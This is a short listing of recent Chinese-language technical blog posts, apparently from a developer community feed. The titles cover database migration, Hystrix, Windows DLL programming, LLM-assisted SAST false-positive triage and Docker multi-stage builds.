SQLServer数据库迁移实录:十年老系统搬上 KingbaseES,T-SQL 基本没重写
数据库
TunerT_TQ3 小时前
Netflix|一个时代的终结:Hystrix静态工程评测,兼谈微服务容错范式的代际迁移
开源·github·资讯
江湖人称菠萝包3 小时前
【Windows】《深入浅出Windows API程序设计:核心编程篇》笔记-Chapter6-动态链接库
windows·笔记
天涯浪客3 小时前
LLM 做 SAST 误报研判:四层防护让结果不飘
安全
JavaPub-rodert3 小时前
Docker 多阶段构建:为什么生产环境镜像可以小 90%
运维·docker·容器